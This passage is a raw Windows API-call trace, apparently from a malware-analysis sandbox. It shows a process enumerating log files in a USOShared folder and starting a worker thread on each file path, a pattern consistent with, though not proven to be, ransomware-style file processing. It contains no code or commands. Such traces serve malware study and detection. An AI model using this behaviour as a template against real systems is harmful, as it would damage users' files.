lpStartAddress=0x32077a0, lpParameter=0x347c160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0077.716] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0077.716] wcscmp (_String1="UpdateSessionOrchestration.002.etl", _String2=".") returned 1 [0077.716] wcscmp (_String1="UpdateSessionOrchestration.002.etl", _String2="..") returned 1 [0077.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bb70 [0077.717] wcscpy (in: _Dest=0x347bb70, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.717] wcscat (in: _Dest=0x347bb70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.717] wcscat (in: _Dest=0x347bb70, _Source="UpdateSessionOrchestration.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" [0077.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bb70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0077.717] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0077.717] wcscmp (_String1="UpdateSessionOrchestration.003.etl", _String2=".") returned 1 [0077.717] wcscmp (_String1="UpdateSessionOrchestration.003.etl", _String2="..") returned 1 [0077.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c1f8 [0077.717] wcscpy (in: _Dest=0x347c1f8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.718] wcscat (in: _Dest=0x347c1f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.718] wcscat (in: _Dest=0x347c1f8, _Source="UpdateSessionOrchestration.003.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" [0077.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0077.718] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0077.718] wcscmp (_String1="UpdateSessionOrchestration.004.etl", _String2=".") returned 1 [0077.718] wcscmp (_String1="UpdateSessionOrchestration.004.etl", _String2="..") returned 1 [0077.718] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c3c0 [0077.718] wcscpy (in: _Dest=0x347c3c0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.718] wcscat (in: _Dest=0x347c3c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.718] wcscat (in: _Dest=0x347c3c0, _Source="UpdateSessionOrchestration.004.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" [0077.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0077.719] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0077.719] wcscmp (_String1="UpdateSessionOrchestration.005.etl", _String2=".") returned 1 [0077.719] wcscmp (_String1="UpdateSessionOrchestration.005.etl", _String2="..") returned 1 [0077.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c290 [0077.719] wcscpy (in: _Dest=0x347c290, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.719] wcscat (in: _Dest=0x347c290, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.720] wcscat (in: _Dest=0x347c290, _Source="UpdateSessionOrchestration.005.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" [0077.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0077.720] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0077.720] wcscmp (_String1="UpdateSessionOrchestration.006.etl", _String2=".") returned 1 [0077.720] wcscmp (_String1="UpdateSessionOrchestration.006.etl", _String2="..") returned 1 [0077.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bc08 [0077.720] wcscpy (in: _Dest=0x347bc08, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.720] wcscat (in: _Dest=0x347bc08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.720] wcscat (in: _Dest=0x347bc08, _Source="UpdateSessionOrchestration.006.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" [0077.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0077.721] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0077.722] wcscmp (_String1="UpdateSessionOrchestration.007.etl", _String2=".") returned 1 [0077.722] wcscmp (_String1="UpdateSessionOrchestration.007.etl", _String2="..") returned 1 [0077.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c328 [0077.722] wcscpy (in: _Dest=0x347c328, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.722] wcscat (in: _Dest=0x347c328, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.722] wcscat (in: _Dest=0x347c328, _Source="UpdateSessionOrchestration.007.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" [0077.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0077.725] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0077.725] wcscmp (_String1="UpdateSessionOrchestration.008.etl", _String2=".") returned 1 [0077.725] wcscmp (_String1="UpdateSessionOrchestration.008.etl", _String2="..") returned 1 [0077.725] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c588 [0077.725] wcscpy (in: _Dest=0x347c588, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.725] wcscat (in: _Dest=0x347c588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.726] wcscat (in: _Dest=0x347c588, _Source="UpdateSessionOrchestration.008.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" [0077.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0077.726] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0077.726] wcscmp (_String1="UpdateSessionOrchestration.009.etl", _String2=".") returned 1 [0077.726] wcscmp (_String1="UpdateSessionOrchestration.009.etl", _String2="..") returned 1 [0077.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bd08 [0077.726] wcscpy (in: _Dest=0x348bd08, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.727] wcscat (in: _Dest=0x348bd08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.727] wcscat (in: _Dest=0x348bd08, _Source="UpdateSessionOrchestration.009.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" [0077.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0077.727] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0077.728] wcscmp (_String1="UpdateSessionOrchestration.010.etl", _String2=".") returned 1 [0077.728] wcscmp (_String1="UpdateSessionOrchestration.010.etl", _String2="..") returned 1 [0077.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b550 [0077.728] wcscpy (in: _Dest=0x348b550, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.728] wcscat (in: _Dest=0x348b550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.728] wcscat (in: _Dest=0x348b550, _Source="UpdateSessionOrchestration.010.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" [0077.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0077.729] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0077.729] wcscmp (_String1="UpdateSessionOrchestration.011.etl", _String2=".") returned 1 [0077.729] wcscmp (_String1="UpdateSessionOrchestration.011.etl", _String2="..") returned 1 [0077.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b978 [0077.729] wcscpy (in: _Dest=0x348b978, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.729] wcscat (in: _Dest=0x348b978, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.729] wcscat (in: _Dest=0x348b978, _Source="UpdateSessionOrchestration.011.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" [0077.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0077.729] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0077.730] wcscmp (_String1="UpdateSessionOrchestration.012.etl", _String2=".") returned 1 [0077.730] wcscmp (_String1="UpdateSessionOrchestration.012.etl", _String2="..") returned 1 [0077.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bf68 [0077.730] wcscpy (in: _Dest=0x348bf68, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.730] wcscat (in: _Dest=0x348bf68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.730] wcscat (in: _Dest=0x348bf68, _Source="UpdateSessionOrchestration.012.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" [0077.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bf68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0077.730] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0077.731] wcscmp (_String1="UpdateSessionOrchestration.013.etl", _String2=".") returned 1 [0077.731] wcscmp (_String1="UpdateSessionOrchestration.013.etl", _String2="..") returned 1 [0077.731] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348ba10 [0077.731] wcscpy (in: _Dest=0x348ba10, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.731] wcscat (in: _Dest=0x348ba10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.731] wcscat (in: _Dest=0x348ba10, _Source="UpdateSessionOrchestration.013.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" [0077.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348ba10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0077.731] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0077.731] wcscmp (_String1="UpdateSessionOrchestration.014.etl", _String2=".") returned 1 [0077.731] wcscmp (_String1="UpdateSessionOrchestration.014.etl", _String2="..") returned 1 [0077.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348bbd8 [0077.732] wcscpy (in: _Dest=0x348bbd8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.732] wcscat (in: _Dest=0x348bbd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.732] wcscat (in: _Dest=0x348bbd8, _Source="UpdateSessionOrchestration.014.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" [0077.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bbd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0077.732] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0077.732] wcscmp (_String1="UpdateSessionOrchestration.015.etl", _String2=".") returned 1 [0077.732] wcscmp (_String1="UpdateSessionOrchestration.015.etl", _String2="..") returned 1 [0077.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b848 [0077.732] wcscpy (in: _Dest=0x348b848, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.733] wcscat (in: _Dest=0x348b848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.733] wcscat (in: _Dest=0x348b848, _Source="UpdateSessionOrchestration.015.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" [0077.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0077.733] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0077.733] wcscmp (_String1="UpdateSessionOrchestration.016.etl", _String2=".") returned 1 [0077.733] wcscmp (_String1="UpdateSessionOrchestration.016.etl", _String2="..") returned 1 [0077.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b4b8 [0077.733] wcscpy (in: _Dest=0x348b4b8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.733] wcscat (in: _Dest=0x348b4b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.733] wcscat (in: _Dest=0x348b4b8, _Source="UpdateSessionOrchestration.016.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" [0077.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0077.734] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f4850 | out: lpFindFileData=0x33f4850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0077.734] wcscmp (_String1="UpdateSessionOrchestration.017.etl", _String2=".") returned 1 [0077.734] wcscmp (_String1="UpdateSessionOrchestration.017.etl", _String2="..") returned 1 [0077.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b5e8 [0077.734] wcscpy (in: _Dest=0x348b5e8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0077.734] wcscat (in: _Dest=0x348b5e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.734] wcscat (in: _Dest=0x348b5e8, _Source="UpdateSessionOrchestration.017.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" [0077.735] CreateThread (in: lpThreadAttributes=0x0, 